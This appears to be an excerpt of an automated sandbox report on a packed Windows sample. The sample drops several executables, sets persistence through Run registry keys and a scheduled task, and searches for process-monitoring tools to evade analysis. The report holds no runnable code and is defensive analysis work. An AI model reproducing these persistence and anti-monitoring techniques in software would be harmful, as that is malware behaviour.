Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1910272 > 1048576

Source: file.exe

Static PE information: Raw size of ejhkawnv is bigger than: 0x100000 < 0x1a0a00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.410000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejhkawnv:EW;ogegxoql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejhkawnv:EW;ogegxoql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.c20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejhkawnv:EW;ogegxoql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejhkawnv:EW;ogegxoql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.c20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ejhkawnv:EW;ogegxoql:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ejhkawnv:EW;ogegxoql:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Unpacked PE file: 13.2.e5e907fecb.exe.410000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ygcbzohu:EW;dmyrahus:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ygcbzohu:EW;dmyrahus:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Unpacked PE file: 14.2.3996dc7402.exe.480000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jerbjqqv:EW;nuqdewfy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jerbjqqv:EW;nuqdewfy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Unpacked PE file: 15.2.e5e907fecb.exe.410000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ygcbzohu:EW;dmyrahus:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ygcbzohu:EW;dmyrahus:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Unpacked PE file: 33.2.3996dc7402.exe.480000.0.unpack :EW;.rsrc:W;.idata :W; :EW;jerbjqqv:EW;nuqdewfy:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;jerbjqqv:EW;nuqdewfy:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Unpacked PE file: 36.2.19cf1f0449.exe.d00000.0.unpack :EW;.rsrc:W;.idata :W;tcknjbhw:EW;pazbjnlm:EW;.taggant:EW; vs :ER;.rsrc:W;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.6.dr	Static PE information: real checksum: 0x436c61 should be: 0x434ca1
Source: 19cf1f0449.exe.6.dr	Static PE information: real checksum: 0x2bcc45 should be: 0x2bc394
Source: random[1].exe1.6.dr	Static PE information: real checksum: 0x1c2726 should be: 0x1c5cce
Source: r5mqFEC.exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x85dfe
Source: a7f098a093.exe.6.dr	Static PE information: real checksum: 0x436c61 should be: 0x434ca1
Source: 3996dc7402.exe.6.dr	Static PE information: real checksum: 0x1c2726 should be: 0x1c5cce
Source: file.exe	Static PE information: real checksum: 0x1d4955 should be: 0x1df0c5
Source: r5mqFEC[1].exe.6.dr	Static PE information: real checksum: 0x0 should be: 0x85dfe
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x1d4955 should be: 0x1df0c5
Source: random[1].exe0.6.dr	Static PE information: real checksum: 0x1cf8af should be: 0x1c7a81
Source: random[2].exe.6.dr	Static PE information: real checksum: 0x2bcc45 should be: 0x2bc394
Source: e5e907fecb.exe.6.dr	Static PE information: real checksum: 0x1cf8af should be: 0x1c7a81

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ejhkawnv
Source: file.exe	Static PE information: section name: ogegxoql
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: ejhkawnv
Source: skotes.exe.0.dr	Static PE information: section name: ogegxoql
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: r5mqFEC[1].exe.6.dr	Static PE information: section name: .coS
Source: r5mqFEC.exe.6.dr	Static PE information: section name: .coS
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .rsrc
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: gdiujpci
Source: random[1].exe.6.dr	Static PE information: section name: zdypqqxr
Source: random[1].exe.6.dr	Static PE information: section name: .taggant
Source: a7f098a093.exe.6.dr	Static PE information: section name:
Source: a7f098a093.exe.6.dr	Static PE information: section name: .rsrc
Source: a7f098a093.exe.6.dr	Static PE information: section name: .idata
Source: a7f098a093.exe.6.dr	Static PE information: section name:
Source: a7f098a093.exe.6.dr	Static PE information: section name: gdiujpci
Source: a7f098a093.exe.6.dr	Static PE information: section name: zdypqqxr
Source: a7f098a093.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: .idata
Source: random[1].exe0.6.dr	Static PE information: section name:
Source: random[1].exe0.6.dr	Static PE information: section name: ygcbzohu
Source: random[1].exe0.6.dr	Static PE information: section name: dmyrahus
Source: random[1].exe0.6.dr	Static PE information: section name: .taggant
Source: e5e907fecb.exe.6.dr	Static PE information: section name:
Source: e5e907fecb.exe.6.dr	Static PE information: section name: .idata
Source: e5e907fecb.exe.6.dr	Static PE information: section name:
Source: e5e907fecb.exe.6.dr	Static PE information: section name: ygcbzohu
Source: e5e907fecb.exe.6.dr	Static PE information: section name: dmyrahus
Source: e5e907fecb.exe.6.dr	Static PE information: section name: .taggant
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: .idata
Source: random[1].exe1.6.dr	Static PE information: section name:
Source: random[1].exe1.6.dr	Static PE information: section name: jerbjqqv
Source: random[1].exe1.6.dr	Static PE information: section name: nuqdewfy
Source: random[1].exe1.6.dr	Static PE information: section name: .taggant
Source: 3996dc7402.exe.6.dr	Static PE information: section name:
Source: 3996dc7402.exe.6.dr	Static PE information: section name: .idata
Source: 3996dc7402.exe.6.dr	Static PE information: section name:
Source: 3996dc7402.exe.6.dr	Static PE information: section name: jerbjqqv
Source: 3996dc7402.exe.6.dr	Static PE information: section name: nuqdewfy
Source: 3996dc7402.exe.6.dr	Static PE information: section name: .taggant
Source: random[2].exe.6.dr	Static PE information: section name:
Source: random[2].exe.6.dr	Static PE information: section name: .idata
Source: random[2].exe.6.dr	Static PE information: section name: tcknjbhw
Source: random[2].exe.6.dr	Static PE information: section name: pazbjnlm
Source: random[2].exe.6.dr	Static PE information: section name: .taggant
Source: 19cf1f0449.exe.6.dr	Static PE information: section name:
Source: 19cf1f0449.exe.6.dr	Static PE information: section name: .idata
Source: 19cf1f0449.exe.6.dr	Static PE information: section name: tcknjbhw
Source: 19cf1f0449.exe.6.dr	Static PE information: section name: pazbjnlm
Source: 19cf1f0449.exe.6.dr	Static PE information: section name: .taggant
Source: service123.exe.12.dr	Static PE information: section name: .eh_fram
Source: unmYCIPOHmXNjqOesrEy.dll.12.dr	Static PE information: section name: .eh_fram

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 7_2_007C9BE5 push ecx; ret	7_2_007C9BF8
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 9_2_007C9BE5 push ecx; ret	9_2_007C9BF8
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_032BA7AA pushad ; retf	10_3_032BA7B1
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0325714D pushad ; retf	10_3_03257159
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0325714D pushad ; retf	10_3_03257159
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0323133D push 00000031h; retf	10_3_03231340
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_03224B87 push eax; ret	10_3_03224C03
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0322D018 push ss; ret	10_3_0322D01C
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_03231061 push 00000031h; retf	10_3_03231064
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0325714D pushad ; retf	10_3_03257159
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_3_0325714D pushad ; retf	10_3_03257159
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00415057 push eax; iretd	10_2_00415058
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00418028 push esp; ret	10_2_0041802B
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0041642B push esp; ret	10_2_00416438
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00418100 push esp; iretd	10_2_00418102
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_0041811F push esp; iretd	10_2_00418135
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_004181DA push eax; iretd	10_2_004181DB
Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Code function: 10_2_00414BB8 push esp; iretd	10_2_00414BD4

Source: file.exe	Static PE information: section name: entropy: 7.98618837151587
Source: file.exe	Static PE information: section name: ejhkawnv entropy: 7.954819740116705
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.98618837151587
Source: skotes.exe.0.dr	Static PE information: section name: ejhkawnv entropy: 7.954819740116705
Source: random[1].exe.6.dr	Static PE information: section name: gdiujpci entropy: 7.954839612403231
Source: a7f098a093.exe.6.dr	Static PE information: section name: gdiujpci entropy: 7.954839612403231
Source: random[1].exe0.6.dr	Static PE information: section name: entropy: 7.97443476819522
Source: random[1].exe0.6.dr	Static PE information: section name: ygcbzohu entropy: 7.953752772757039
Source: e5e907fecb.exe.6.dr	Static PE information: section name: entropy: 7.97443476819522
Source: e5e907fecb.exe.6.dr	Static PE information: section name: ygcbzohu entropy: 7.953752772757039
Source: random[1].exe1.6.dr	Static PE information: section name: jerbjqqv entropy: 7.954382672261457
Source: 3996dc7402.exe.6.dr	Static PE information: section name: jerbjqqv entropy: 7.954382672261457
Source: random[2].exe.6.dr	Static PE information: section name: entropy: 7.752728161506336
Source: 19cf1f0449.exe.6.dr	Static PE information: section name: entropy: 7.752728161506336

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File created: C:\Users\user\AppData\Local\Temp\unmYCIPOHmXNjqOesrEy.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	File created: C:\Users\user\AppData\Local\Temp\service123.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\r5mqFEC[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3996dc7402.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d986826e57.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e5e907fecb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 19cf1f0449.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e5e907fecb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run e5e907fecb.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3996dc7402.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3996dc7402.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d986826e57.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d986826e57.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 19cf1f0449.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 19cf1f0449.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Code function: 7_2_007C9CC2 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

7_2_007C9CC2

Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
